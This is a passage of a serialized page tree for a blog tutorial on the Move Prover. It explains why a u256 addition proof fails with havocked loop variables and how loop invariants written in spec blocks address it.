any",{"type":24,"tag":930,"props":13467,"children":13468},{"style":1270},[13469],{"type":30,"value":13470}," of",{"type":24,"tag":930,"props":13472,"children":13473},{"style":1270},[13474],{"type":30,"value":13475}," the",{"type":24,"tag":930,"props":13477,"children":13478},{"style":1270},[13479],{"type":30,"value":13480}," `",{"type":24,"tag":930,"props":13482,"children":13483},{"style":1002},[13484],{"type":30,"value":11434},{"type":24,"tag":930,"props":13486,"children":13487},{"style":1270},[13488],{"type":30,"value":13489},"`",{"type":24,"tag":930,"props":13491,"children":13492},{"style":1002},[13493],{"type":30,"value":13494}," clauses\n",{"type":24,"tag":930,"props":13496,"children":13497},{"class":932,"line":1057},[13498,13503,13508,13512],{"type":24,"tag":930,"props":13499,"children":13500},{"style":1002},[13501],{"type":30,"value":13502},"╭",{"type":24,"tag":930,"props":13504,"children":13505},{"style":1270},[13506],{"type":30,"value":13507},"     spec",{"type":24,"tag":930,"props":13509,"children":13510},{"style":1270},[13511],{"type":30,"value":12689},{"type":24,"tag":930,"props":13513,"children":13514},{"style":1270},[13515],{"type":30,"value":981},{"type":24,"tag":930,"props":13517,"children":13518},{"class":932,"line":1066},[13519,13524,13529,13533,13537,13541,13545,13549,13553,13557,13561,13565,13569,13573,13577,13581,13585,13589,13593,13597,13601],{"type":24,"tag":930,"props":13520,"children":13521},{"style":1158},[13522],{"type":30,"value":13523},"|",{"type":24,"tag":930,"props":13525,"children":13526},{"style":1002},[13527],{"type":30,"value":13528},"         aborts_if",{"type":24,"tag":930,"props":13530,"children":13531},{"style":1270},[13532],{"type":30,"value":12811},{"type":24,"tag":930,"props":13534,"children":13535},{"style":959},[13536],{"type":30,"value":1010},{"type":24,"tag":930,"props":13538,"children":13539},{"style":1002},[13540],{"type":30,"value":37},{"type":24,"tag":930,"props":13542,"children":13543},{"style":959},[13544],{"type":30,"value":5579},{"type":24,"tag":930,"props":13546,"children":13547},{"style":1270},[13548],{"type":30,"value":1400},{"type":24,"tag":930,"props":13550,"children":13551},{"style":1270},[13552],{"type":30,"value":12811},{"type":24,"tag":930,"props":13554,"children":13555},{"style":959},[13556],{"type":30,"value":1010},{"type":24,"tag":930,"props":13558,"children":13559},{"style":1002},[13560],{"type":30,"value":6343},{"type":24,"tag":930,"props":13562,"children":13563},{"style":959},[13564],{"type":30,"value":5579},{"type":24,"tag":930,"props":13566,"children":13567},{"style":1158},[13568],{"type":30,"value":2261},{"type":24,"tag":930,"props":13570,"children":13571},{"style":1270},[13572],{"type":30,"value":1161},{"type":24,"tag":930,"props":13574,"children":13575},{"style":1270},[13576],{"type":30,"value":12767},{"type":24,"tag":930,"props":13578,"children":13579},{"style":937},[13580],{"type":30,"value":12924},{"type":24,"tag":930,"props":13582,"children":13583},{"style":1270},[13584],{"type":30,"value":12767},{"type":24,"tag":930,"props":13586,"children":13587},{"style":937},[13588],{"type":30,"value":12924},{"type":24,"tag":930,"props":13590,"children":13591},{"style":1270},[13592],{"type":30,"value":12767},{"type":24,"tag":930,"props":13594,"children":13595},{"style":937},[13596],{"type":30,"value":12924},{"type":24,"tag":930,"props":13598,"children":13599},{"style":1270},[13600],{"type":30,"value":12767},{"type":24,"tag":930,"props":13602,"children":13603},{"style":959},[13604],{"type":30,"value":5539},{"type":24,"tag":930,"props":13606,"children":13607},{"class":932,"line":1075},[13608,13612,13617,13621,13625,13629,13633,13637,13641,13645,13649,13653,13657,13661,13665,13669],{"type":24,"tag":930,"props":13609,"children":13610},{"style":1158},[13611],{"type":30,"value":13523},{"type":24,"tag":930,"props":13613,"children":13614},{"style":1002},[13615],{"type":30,"value":13616},"         ensures",{"type":24,"tag":930,"props":13618,"children":13619},{"style":1270},[13620],{"type":30,"value":12811},{"type":24,"tag":930,"props":13622,"children":13623},{"style":959},[13624],{"type":30,"value":1010},{"type":24,"tag":930,"props":13626,"children":13627},{"style":1002},[13628],{"type":30,"value":12191},{"type":24,"tag":930,"props":13630,"children":13631},{"style":959},[13632],{"type":30,"value":5579},{"type":24,"tag":930,"props":13634,"children":13635},{"style":1270},[13636],{"type":30,"value":1239},{"type":24,"tag":930,"props":13638,"children":13639},{"style":1270},[13640],{"type":30,"value":12811},{"type":24,"tag":930,"props":13642,"children":13643},{"style":959},[13644],{"type":30,"value":1010},{"type":24,"tag":930,"props":13646,"children":13647},{"style":1002},[13648],{"type":30,"value":37},{"type":24,"tag":930,"props":13650,"children":13651},{"style":959},[13652],{"type":30,"value":5579},{"type":24,"tag":930,"props":13654,"children":13655},{"style":1270},[13656],{"type":30,"value":1400},{"type":24,"tag":930,"props":13658,"children":13659},{"style":1270},[13660],{"type":30,"value":12811},{"type":24,"tag":930,"props":13662,"children":13663},{"style":959},[13664],{"type":30,"value":1010},{"type":24,"tag":930,"props":13666,"children":13667},{"style":1002},[13668],{"type":30,"value":6343},{"type":24,"tag":930,"props":13670,"children":13671},{"style":959},[13672],{"type":30,"value":1278},{"type":24,"tag":930,"props":13674,"children":13675},{"class":932,"line":1122},[13676,13680],{"type":24,"tag":930,"props":13677,"children":13678},{"style":1158},[13679],{"type":30,"value":13523},{"type":24,"tag":930,"props":13681,"children":13682},{"style":959},[13683],{"type":30,"value":13684},"     }\n",{"type":24,"tag":930,"props":13686,"children":13687},{"class":932,"line":1131},[13688],{"type":24,"tag":930,"props":13689,"children":13690},{"style":1002},[13691],{"type":30,"value":13692},"╰─────^\n",{"type":24,"tag":930,"props":13694,"children":13695},{"class":932,"line":1144},[13696],{"type":24,"tag":930,"props":13697,"children":13698},{"emptyLinePlaceholder":16},[13699],{"type":30,"value":2412},{"type":24,"tag":930,"props":13701,"children":13702},{"class":932,"line":1169},[13703],{"type":24,"tag":930,"props":13704,"children":13705},{"style":959},[13706],{"type":30,"value":990},{"type":24,"tag":930,"props":13708,"children":13709},{"class":932,"line":1191},[13710],{"type":24,"tag":930,"props":13711,"children":13712},{"emptyLinePlaceholder":16},[13713],{"type":30,"value":2412},{"type":24,"tag":930,"props":13715,"children":13716},{"class":932,"line":1223},[13717,13722,13727],{"type":24,"tag":930,"props":13718,"children":13719},{"style":1002},[13720],{"type":30,"value":13721}," at",{"type":24,"tag":930,"props":13723,"children":13724},{"style":1270},[13725],{"type":30,"value":13726}," ./sources/u256.move:316:",{"type":24,"tag":930,"props":13728,"children":13729},{"style":1270},[13730],{"type":30,"value":13731}," add\n",{"type":24,"tag":930,"props":13733,"children":13734},{"class":932,"line":1281},[13735,13740,13745,13750,13754,13759,13763,13768,13773,13778,13783,13788],{"type":24,"tag":930,"props":13736,"children":13737},{"style":1002},[13738],{"type":30,"value":13739}," enter",{"type":24,"tag":930,"props":13741,"children":13742},{"style":1270},[13743],{"type":30,"value":13744}," loop,",{"type":24,"tag":930,"props":13746,"children":13747},{"style":1270},[13748],{"type":30,"value":13749}," variable",{"type":24,"tag":930,"props":13751,"children":13752},{"style":959},[13753],{"type":30,"value":1010},{"type":24,"tag":930,"props":13755,"children":13756},{"style":1002},[13757],{"type":30,"value":13758},"s",{"type":24,"tag":930,"props":13760,"children":13761},{"style":959},[13762],{"type":30,"value":5579},{"type":24,"tag":930,"props":13764,"children":13765},{"style":1270},[13766],{"type":30,"value":13767},"carry,",{"type":24,"tag":930,"props":13769,"children":13770},{"style":1270},[13771],{"type":30,"value":13772}," i,",{"type":24,"tag":930,"props":13774,"children":13775},{"style":1270},[13776],{"type":30,"value":13777}," ret",{"type":24,"tag":930,"props":13779,"children":13780},{"style":1270},[13781],{"type":30,"value":13782}," havocked",{"type":24,"tag":930,"props":13784,"children":13785},{"style":1270},[13786],{"type":30,"value":13787}," and",{"type":24,"tag":930,"props":13789,"children":13790},{"style":1270},[13791],{"type":30,"value":13792}," reassigned\n",{"type":24,"tag":930,"props":13794,"children":13795},{"class":932,"line":1313},[13796,13801,13805],{"type":24,"tag":930,"props":13797,"children":13798},{"style":1002},[13799],{"type":30,"value":13800},"     carry",{"type":24,"tag":930,"props":13802,"children":13803},{"style":1270},[13804],{"type":30,"value":6137},{"type":24,"tag":930,"props":13806,"children":13807},{"style":1242},[13808],{"type":30,"value":13809}," 54\n",{"type":24,"tag":930,"props":13811,"children":13812},{"class":932,"line":1335},[13813,13818,13822],{"type":24,"tag":930,"props":13814,"children":13815},{"style":1002},[13816],{"type":30,"value":13817},"     i",{"type":24,"tag":930,"props":13819,"children":13820},{"style":1270},[13821],{"type":30,"value":6137},{"type":24,"tag":930,"props":13823,"children":13824},{"style":1242},[13825],{"type":30,"value":13826}," 3792\n",{"type":24,"tag":930,"props":13828,"children":13829},{"class":932,"line":1376},[13830,13835,13839,13844,13848,13853,13858,13862,13867,13872,13876,13881,13886,13890,13895],{"type":24,"tag":930,"props":13831,"children":13832},{"style":1002},[13833],{"type":30,"value":13834},"     ret",{"type":24,"tag":930,"props":13836,"children":13837},{"style":1270},[13838],{"type":30,"value":6137},{"type":24,"tag":930,"props":13840,"children":13841},{"style":1270},[13842],{"type":30,"value":13843}," u256.U256{v0",{"type":24,"tag":930,"props":13845,"children":13846},{"style":1270},[13847],{"type":30,"value":6137},{"type":24,"tag":930,"props":13849,"children":13850},{"style":1270},[13851],{"type":30,"value":13852}," 26418,",{"type":24,"tag":930,"props":13854,"children":13855},{"style":1270},[13856],{"type":30,"value":13857}," v1",{"type":24,"tag":930,"props":13859,"children":13860},{"style":1270},[13861],{"type":30,"value":6137},{"type":24,"tag":930,"props":13863,"children":13864},{"style":1270},[13865],{"type":30,"value":13866}," 27938,",{"type":24,"tag":930,"props":13868,"children":13869},{"style":1270},[13870],{"type":30,"value":13871}," v2",{"type":24,"tag":930,"props":13873,"children":13874},{"style":1270},[13875],{"type":30,"value":6137},{"type":24,"tag":930,"props":13877,"children":13878},{"style":1270},[13879],{"type":30,"value":13880}," 6900,",{"type":24,"tag":930,"props":13882,"children":13883},{"style":1270},[13884],{"type":30,"value":13885}," v3",{"type":24,"tag":930,"props":13887,"children":13888},{"style":1270},[13889],{"type":30,"value":6137},{"type":24,"tag":930,"props":13891,"children":13892},{"style":1242},[13893],{"type":30,"value":13894}," 1999",{"type":24,"tag":930,"props":13896,"children":13897},{"style":1270},[13898],{"type":30,"value":2528},{"type":24,"tag":930,"props":13900,"children":13901},{"class":932,"line":1418},[13902,13906,13911],{"type":24,"tag":930,"props":13903,"children":13904},{"style":1002},[13905],{"type":30,"value":13721},{"type":24,"tag":930,"props":13907,"children":13908},{"style":1270},[13909],{"type":30,"value":13910}," ./sources/u256.move:346:",{"type":24,"tag":930,"props":13912,"children":13913},{"style":1270},[13914],{"type":30,"value":13731},{"type":24,"tag":930,"props":13916,"children":13917},{"class":932,"line":1438},[13918],{"type":24,"tag":930,"props":13919,"children":13920},{"style":1002},[13921],{"type":30,"value":13922},"     ABORTED\n",{"type":24,"tag":930,"props":13924,"children":13925},{"class":932,"line":1479},[13926],{"type":24,"tag":930,"props":13927,"children":13928},{"emptyLinePlaceholder":16},[13929],{"type":30,"value":2412},{"type":24,"tag":930,"props":13931,"children":13932},{"class":932,"line":1506},[13933,13938,13943,13947,13952,13957,13962,13966,13971,13975],{"type":24,"tag":930,"props":13934,"children":13935},{"style":1002},[13936],{"type":30,"value":13937},"FAILURE",{"type":24,"tag":930,"props":13939,"children":13940},{"style":1270},[13941],{"type":30,"value":13942}," proving",{"type":24,"tag":930,"props":13944,"children":13945},{"style":1242},[13946],{"type":30,"value":7637},{"type":24,"tag":930,"props":13948,"children":13949},{"style":1270},[13950],{"type":30,"value":13951}," modules",{"type":24,"tag":930,"props":13953,"children":13954},{"style":1270},[13955],{"type":30,"value":13956}," from",{"type":24,"tag":930,"props":13958,"children":13959},{"style":1270},[13960],{"type":30,"value":13961}," package",{"type":24,"tag":930,"props":13963,"children":13964},{"style":1270},[13965],{"type":30,"value":13480},{"type":24,"tag":930,"props":13967,"children":13968},{"style":1002},[13969],{"type":30,"value":13970},"u256",{"type":24,"tag":930,"props":13972,"children":13973},{"style":1270},[13974],{"type":30,"value":13489},{"type":24,"tag":930,"props":13976,"children":13977},{"style":959},[13978],{"type":30,"value":13979}," in 9.143s\n",{"type":24,"tag":930,"props":13981,"children":13982},{"class":932,"line":1525},[13983],{"type":24,"tag":930,"props":13984,"children":13985},{"style":959},[13986],{"type":30,"value":13987},"{\n",{"type":24,"tag":930,"props":13989,"children":13990},{"class":932,"line":1569},[13991,13996,14000],{"type":24,"tag":930,"props":13992,"children":13993},{"style":1002},[13994],{"type":30,"value":13995},"    \"Error\"",{"type":24,"tag":930,"props":13997,"children":13998},{"style":1002},[13999],{"type":30,"value":476},{"type":24,"tag":930,"props":14001,"children":14002},{"style":1270},[14003],{"type":30,"value":14004}," \"Move Prover failed: exiting with verification errors\"\n",{"type":24,"tag":930,"props":14006,"children":14007},{"class":932,"line":1592},[14008],{"type":24,"tag":930,"props":14009,"children":14010},{"style":959},[14011],{"type":30,"value":2528},{"type":24,"tag":33,"props":14013,"children":14014},{},[14015,14017,14022],{"type":30,"value":14016},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":24,"tag":156,"props":14018,"children":14020},{"className":14019},[],[14021],{"type":30,"value":11434},{"type":30,"value":14023}," clauses. But there is no other abort situation that we have to cover, right?",{"type":24,"tag":33,"props":14025,"children":14026},{},[14027,14029,14035],{"type":30,"value":14028},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":24,"tag":156,"props":14030,"children":14032},{"className":14031},[],[14033],{"type":30,"value":14034},"ret havocked and reassigned",{"type":30,"value":436},{"type":24,"tag":33,"props":14037,"children":14038},{},[14039],{"type":30,"value":14040},"What does this mean?",{"type":24,"tag":33,"props":14042,"children":14043},{},[14044,14046,14053],{"type":30,"value":14045},"By diving into the Move Prover source, we find a ",{"type":24,"tag":37,"props":14047,"children":14050},{"href":14048,"rel":14049},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[41],[14051],{"type":30,"value":14052},"likely suspect",{"type":30,"value":14054},". The prover attempts to prove all loops with induction!",{"type":24,"tag":33,"props":14056,"children":14057},{},[14058],{"type":30,"value":14059},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":24,"tag":478,"props":14061,"children":14062},{},[14063,14068],{"type":24,"tag":100,"props":14064,"children":14065},{},[14066],{"type":30,"value":14067},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":24,"tag":100,"props":14069,"children":14070},{},[14071],{"type":30,"value":14072},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":24,"tag":33,"props":14074,"children":14075},{},[14076,14078,14083,14085,14091,14092,14098,14099,14104,14106,14111],{"type":30,"value":14077},"The loop prover will also ",{"type":24,"tag":275,"props":14079,"children":14080},{},[14081],{"type":30,"value":14082},"havoc, or assign random values to, all variables written to inside the loop",{"type":30,"value":14084},". Going back to the log message, this implies that the variables ",{"type":24,"tag":156,"props":14086,"children":14088},{"className":14087},[],[14089],{"type":30,"value":14090},"carry",{"type":30,"value":962},{"type":24,"tag":156,"props":14093,"children":14095},{"className":14094},[],[14096],{"type":30,"value":14097},"ret",{"type":30,"value":211},{"type":24,"tag":156,"props":14100,"children":14102},{"className":14101},[],[14103],{"type":30,"value":6854},{"type":30,"value":14105}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":24,"tag":156,"props":14107,"children":14109},{"className":14108},[],[14110],{"type":30,"value":3184},{"type":30,"value":14112}," makes no sense.",{"type":24,"tag":33,"props":14114,"children":14115},{},[14116],{"type":30,"value":14117},"More concretely, the loop analysis translates into the following steps.",{"type":24,"tag":478,"props":14119,"children":14120},{},[14121,14126,14131,14136,14141,14146],{"type":24,"tag":100,"props":14122,"children":14123},{},[14124],{"type":30,"value":14125},"Assert the loop invariant",{"type":24,"tag":100,"props":14127,"children":14128},{},[14129],{"type":30,"value":14130},"Havoc all modified variables",{"type":24,"tag":100,"props":14132,"children":14133},{},[14134],{"type":30,"value":14135},"Assume the loop invariant",{"type":24,"tag":100,"props":14137,"children":14138},{},[14139],{"type":30,"value":14140},"Assume the loop guard (the code inside the while condition)",{"type":24,"tag":100,"props":14142,"children":14143},{},[14144],{"type":30,"value":14145},"Run the loop body",{"type":24,"tag":100,"props":14147,"children":14148},{},[14149],{"type":30,"value":14125},{"type":24,"tag":33,"props":14151,"children":14152},{},[14153],{"type":30,"value":14154},"There are two approaches to dealing with loops.",{"type":24,"tag":33,"props":14156,"children":14157},{},[14158],{"type":30,"value":14159},"The first would be to specify a loop invariant.",{"type":24,"tag":33,"props":14161,"children":14162},{},[14163,14165,14172],{"type":30,"value":14164},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":24,"tag":37,"props":14166,"children":14169},{"href":14167,"rel":14168},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[41],[14170],{"type":30,"value":14171},"previous post",{"type":30,"value":436},{"type":24,"tag":920,"props":14174,"children":14176},{"code":14175,"language":6101,"meta":7,"className":6102,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[14177],{"type":24,"tag":156,"props":14178,"children":14179},{"__ignoreMap":7},[14180,14192,14203,14239,14262,14345,14352,14376,14384,14404,14424,14515,14522,14550],{"type":24,"tag":930,"props":14181,"children":14182},{"class":932,"line":933},[14183,14188],{"type":24,"tag":930,"props":14184,"children":14185},{"style":1079},[14186],{"type":30,"value":14187},"  while",{"type":24,"tag":930,"props":14189,"children":14190},{"style":959},[14191],{"type":30,"value":11642},{"type":24,"tag":930,"props":14193,"children":14194},{"class":932,"line":984},[14195,14199],{"type":24,"tag":930,"props":14196,"children":14197},{"style":1023},[14198],{"type":30,"value":12038},{"type":24,"tag":930,"props":14200,"children":14201},{"style":959},[14202],{"type":30,"value":981},{"type":24,"tag":930,"props":14204,"children":14205},{"class":932,"line":993},[14206,14211,14215,14219,14223,14227,14231,14235],{"type":24,"tag":930,"props":14207,"children":14208},{"style":1023},[14209],{"type":30,"value":14210},"          invariant",{"type":24,"tag":930,"props":14212,"children":14213},{"style":1002},[14214],{"type":30,"value":11667},{"type":24,"tag":930,"props":14216,"children":14217},{"style":959},[14218],{"type":30,"value":1010},{"type":24,"tag":930,"props":14220,"children":14221},{"style":1023},[14222],{"type":30,"value":11676},{"type":24,"tag":930,"props":14224,"children":14225},{"style":959},[14226],{"type":30,"value":5579},{"type":24,"tag":930,"props":14228,"children":14229},{"style":1158},[14230],{"type":30,"value":1239},{"type":24,"tag":930,"props":14232,"children":14233},{"style":1023},[14234],{"type":30,"value":6515},{"type":24,"tag":930,"props":14236,"children":14237},{"style":959},[14238],{"type":30,"value":5539},{"type":24,"tag":930,"props":14240,"children":14241},{"class":932,"line":1057},[14242,14246,14250,14254,14258],{"type":24,"tag":930,"props":14243,"children":14244},{"style":1023},[14245],{"type":30,"value":14210},{"type":24,"tag":930,"props":14247,"children":14248},{"style":1023},[14249],{"type":30,"value":6515},{"type":24,"tag":930,"props":14251,"children":14252},{"style":1158},[14253],{"type":30,"value":11306},{"type":24,"tag":930,"props":14255,"children":14256},{"style":1023},[14257],{"type":30,"value":11596},{"type":24,"tag":930,"props":14259,"children":14260},{"style":959},[14261],{"type":30,"value":5539},{"type":24,"tag":930,"props":14263,"children":14264},{"class":932,"line":1066},[14265,14269,14273,14277,14281,14285,14289,14293,14297,14301,14305,14309,14313,14317,14321,14325,14329,14333,14337,14341],{"type":24,"tag":930,"props":14266,"children":14267},{"style":1023},[14268],{"type":30,"value":14210},{"type":24,"tag":930,"props":14270,"children":14271},{"style":1023},[14272],{"type":30,"value":11727},{"type":24,"tag":930,"props":14274,"children":14275},{"style":1023},[14276],{"type":30,"value":11732},{"type":24,"tag":930,"props":14278,"children":14279},{"style":937},[14280],{"type":30,"value":6164},{"type":24,"tag":930,"props":14282,"children":14283},{"style":1242},[14284],{"type":30,"value":1245},{"type":24,"tag":930,"props":14286,"children":14287},{"style":1158},[14288],{"type":30,"value":6173},{"type":24,"tag":930,"props":14290,"children":14291},{"style":1023},[14292],{"type":30,"value":6854},{"type":24,"tag":930,"props":14294,"children":14295},{"style":1158},[14296],{"type":30,"value":476},{"type":24,"tag":930,"props":14298,"children":14299},{"style":1023},[14300],{"type":30,"value":11531},{"type":24,"tag":930,"props":14302,"children":14303},{"style":959},[14304],{"type":30,"value":6849},{"type":24,"tag":930,"props":14306,"children":14307},{"style":1023},[14308],{"type":30,"value":11765},{"type":24,"tag":930,"props":14310,"children":14311},{"style":959},[14312],{"type":30,"value":11770},{"type":24,"tag":930,"props":14314,"children":14315},{"style":1158},[14316],{"type":30,"value":1239},{"type":24,"tag":930,"props":14318,"children":14319},{"style":1023},[14320],{"type":30,"value":11779},{"type":24,"tag":930,"props":14322,"children":14323},{"style":959},[14324],{"type":30,"value":6849},{"type":24,"tag":930,"props":14326,"children":14327},{"style":1023},[14328],{"type":30,"value":11765},{"type":24,"tag":930,"props":14330,"children":14331},{"style":959},[14332],{"type":30,"value":11770},{"type":24,"tag":930,"props":14334,"children":14335},{"style":1158},[14336],{"type":30,"value":1410},{"type":24,"tag":930,"props":14338,"children":14339},{"style":1023},[14340],{"type":30,"value":11596},{"type":24,"tag":930,"props":14342,"children":14343},{"style":959},[14344],{"type":30,"value":5539},{"type":24,"tag":930,"props":14346,"children":14347},{"class":932,"line":1075},[14348],{"type":24,"tag":930,"props":14349,"children":14350},{"style":959},[14351],{"type":30,"value":12030},{"type":24,"tag":930,"props":14353,"children":14354},{"class":932,"line":1122},[14355,14360,14364,14368,14372],{"type":24,"tag":930,"props":14356,"children":14357},{"style":959},[14358],{"type":30,"value":14359},"      (",{"type":24,"tag":930,"props":14361,"children":14362},{"style":1023},[14363],{"type":30,"value":6854},{"type":24,"tag":930,"props":14365,"children":14366},{"style":1158},[14367],{"type":30,"value":11828},{"type":24,"tag":930,"props":14369,"children":14370},{"style":1023},[14371],{"type":30,"value":11596},{"type":24,"tag":930,"props":14373,"children":14374},{"style":959},[14375],{"type":30,"value":1054},{"type":24,"tag":930,"props":14377,"children":14378},{"class":932,"line":1131},[14379],{"type":24,"tag":930,"props":14380,"children":14381},{"style":959},[14382],{"type":30,"value":14383},"  }) {\n",{"type":24,"tag":930,"props":14385,"children":14386},{"class":932,"line":1144},[14387,14392,14396,14400],{"type":24,"tag":930,"props":14388,"children":14389},{"style":959},[14390],{"type":30,"value":14391},"      vector",{"type":24,"tag":930,"props":14393,"children":14394},{"style":1158},[14395],{"type":30,"value":6597},{"type":24,"tag":930,"props":14397,"children":14398},{"style":1002},[14399],{"type":30,"value":11861},{"type":24,"tag":930,"props":14401,"children":14402},{"style":959},[14403],{"type":30,"value":2814},{"type":24,"tag":930,"props":14405,"children":14406},{"class":932,"line":1169},[14407,14412,14416,14420],{"type":24,"tag":930,"props":14408,"children":14409},{"style":1158},[14410],{"type":30,"value":14411},"          &",{"type":24,"tag":930,"props":14413,"children":14414},{"style":937},[14415],{"type":30,"value":6839},{"type":24,"tag":930,"props":14417,"children":14418},{"style":1023},[14419],{"type":30,"value":11531},{"type":24,"tag":930,"props":14421,"children":14422},{"style":959},[14423],{"type":30,"value":2832},{"type":24,"tag":930,"props":14425,"children":14426},{"class":932,"line":1191},[14427,14431,14435,14439,14443,14447,14451,14455,14459,14463,14467,14471,14475,14479,14483,14487,14491,14495,14499,14503,14507,14511],{"type":24,"tag":930,"props":14428,"children":14429},{"style":959},[14430],{"type":30,"value":11819},{"type":24,"tag":930,"props":14432,"children":14433},{"style":1158},[14434],{"type":30,"value":1410},{"type":24,"tag":930,"props":14436,"children":14437},{"style":959},[14438],{"type":30,"value":11902},{"type":24,"tag":930,"props":14440,"children":14441},{"style":1158},[14442],{"type":30,"value":6597},{"type":24,"tag":930,"props":14444,"children":14445},{"style":1002},[14446],{"type":30,"value":11911},{"type":24,"tag":930,"props":14448,"children":14449},{"style":959},[14450],{"type":30,"value":1010},{"type":24,"tag":930,"props":14452,"children":14453},{"style":1158},[14454],{"type":30,"value":6230},{"type":24,"tag":930,"props":14456,"children":14457},{"style":1023},[14458],{"type":30,"value":11476},{"type":24,"tag":930,"props":14460,"children":14461},{"style":959},[14462],{"type":30,"value":11928},{"type":24,"tag":930,"props":14464,"children":14465},{"style":1023},[14466],{"type":30,"value":6854},{"type":24,"tag":930,"props":14468,"children":14469},{"style":937},[14470],{"type":30,"value":11937},{"type":24,"tag":930,"props":14472,"children":14473},{"style":943},[14474],{"type":30,"value":8972},{"type":24,"tag":930,"props":14476,"children":14477},{"style":959},[14478],{"type":30,"value":11946},{"type":24,"tag":930,"props":14480,"children":14481},{"style":937},[14482],{"type":30,"value":11951},{"type":24,"tag":930,"props":14484,"children":14485},{"style":943},[14486],{"type":30,"value":11956},{"type":24,"tag":930,"props":14488,"children":14489},{"style":959},[14490],{"type":30,"value":5579},{"type":24,"tag":930,"props":14492,"children":14493},{"style":1158},[14494],{"type":30,"value":1410},{"type":24,"tag":930,"props":14496,"children":14497},{"style":959},[14498],{"type":30,"value":1087},{"type":24,"tag":930,"props":14500,"children":14501},{"style":1023},[14502],{"type":30,"value":11973},{"type":24,"tag":930,"props":14504,"children":14505},{"style":937},[14506],{"type":30,"value":11937},{"type":24,"tag":930,"props":14508,"children":14509},{"style":943},[14510],{"type":30,"value":11956},{"type":24,"tag":930,"props":14512,"children":14513},{"style":959},[14514],{"type":30,"value":1054},{"type":24,"tag":930,"props":14516,"children":14517},{"class":932,"line":1223},[14518],{"type":24,"tag":930,"props":14519,"children":14520},{"style":959},[14521],{"type":30,"value":9878},{"type":24,"tag":930,"props":14523,"children":14524},{"class":932,"line":1281},[14525,14530,14534,14538,14542,14546],{"type":24,"tag":930,"props":14526,"children":14527},{"style":1023},[14528],{"type":30,"value":14529},"      i",{"type":24,"tag":930,"props":14531,"children":14532},{"style":1158},[14533],{"type":30,"value":6137},{"type":24,"tag":930,"props":14535,"children":14536},{"style":1023},[14537],{"type":30,"value":6515},{"type":24,"tag":930,"props":14539,"children":14540},{"style":1158},[14541],{"type":30,"value":12014},{"type":24,"tag":930,"props":14543,"children":14544},{"style":1242},[14545],{"type":30,"value":7637},{"type":24,"tag":930,"props":14547,"children":14548},{"style":959},[14549],{"type":30,"value":5539},{"type":24,"tag":930,"props":14551,"children":14552},{"class":932,"line":1313},[14553],{"type":24,"tag":930,"props":14554,"children":14555},{"style":959},[14556],{"type":30,"value":14557},"  };\n",{"type":24,"tag":33,"props":14559,"children":14560},{},[14561,14563,14569,14571,14576,14578,14584],{"type":30,"value":14562},"In this case, the brackets specify the loop invariant for the ",{"type":24,"tag":156,"props":14564,"children":14566},{"className":14565},[],[14567],{"type":30,"value":14568},"while",{"type":30,"value":14570}," loop. Note that because the loop invariant executes ",{"type":24,"tag":6032,"props":14572,"children":14573},{},[14574],{"type":30,"value":14575},"after",{"type":30,"value":14577}," the loop guard, so we need to account for an extra step with ",{"type":24,"tag":156,"props":14579,"children":14581},{"className":14580},[],[14582],{"type":30,"value":14583},"i \u003C= n_coins",{"type":30,"value":436},{"type":24,"tag":920,"props":14586,"children":14588},{"code":14587,"language":6101,"meta":7,"className":6102,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[14589],{"type":24,"tag":156,"props":14590,"children":14591},{"__ignoreMap":7},[14592,14603,14614,14649,14672,14755,14762,14785],{"type":24,"tag":930,"props":14593,"children":14594},{"class":932,"line":933},[14595,14599],{"type":24,"tag":930,"props":14596,"children":14597},{"style":1079},[14598],{"type":30,"value":14187},{"type":24,"tag":930,"props":14600,"children":14601},{"style":959},[14602],{"type":30,"value":11642},{"type":24,"tag":930,"props":14604,"children":14605},{"class":932,"line":984},[14606,14610],{"type":24,"tag":930,"props":14607,"children":14608},{"style":1023},[14609],{"type":30,"value":12038},{"type":24,"tag":930,"props":14611,"children":14612},{"style":959},[14613],{"type":30,"value":981},{"type":24,"tag":930,"props":14615,"children":14616},{"class":932,"line":993},[14617,14621,14625,14629,14633,14637,14641,14645],{"type":24,"tag":930,"props":14618,"children":14619},{"style":1023},[14620],{"type":30,"value":14210},{"type":24,"tag":930,"props":14622,"children":14623},{"style":1002},[14624],{"type":30,"value":11667},{"type":24,"tag":930,"props":14626,"children":14627},{"style":959},[14628],{"type":30,"value":1010},{"type":24,"tag":930,"props":14630,"children":14631},{"style":1023},[14632],{"type":30,"value":11676},{"type":24,"tag":930,"props":14634,"children":14635},{"style":959},[14636],{"type":30,"value":5579},{"type":24,"tag":930,"props":14638,"children":14639},{"style":1158},[14640],{"type":30,"value":1239},{"type":24,"tag":930,"props":14642,"children":14643},{"style":1023},[14644],{"type":30,"value":6515},{"type":24,"tag":930,"props":14646,"children":14647},{"style":959},[14648],{"type":30,"value":5539},{"type":24,"tag":930,"props":14650,"children":14651},{"class":932,"line":1057},[14652,14656,14660,14664,14668],{"type":24,"tag":930,"props":14653,"children":14654},{"style":1023},[14655],{"type":30,"value":14210},{"type":24,"tag":930,"props":14657,"children":14658},{"style":1023},[14659],{"type":30,"value":6515},{"type":24,"tag":930,"props":14661,"children":14662},{"style":1158},[14663],{"type":30,"value":11306},{"type":24,"tag":930,"props":14665,"children":14666},{"style":1023},[14667],{"type":30,"value":11596},{"type":24,"tag":930,"props":14669,"children":14670},{"style":959},[14671],{"type":30,"value":5539},{"type":24,"tag":930,"props":14673,"children":14674},{"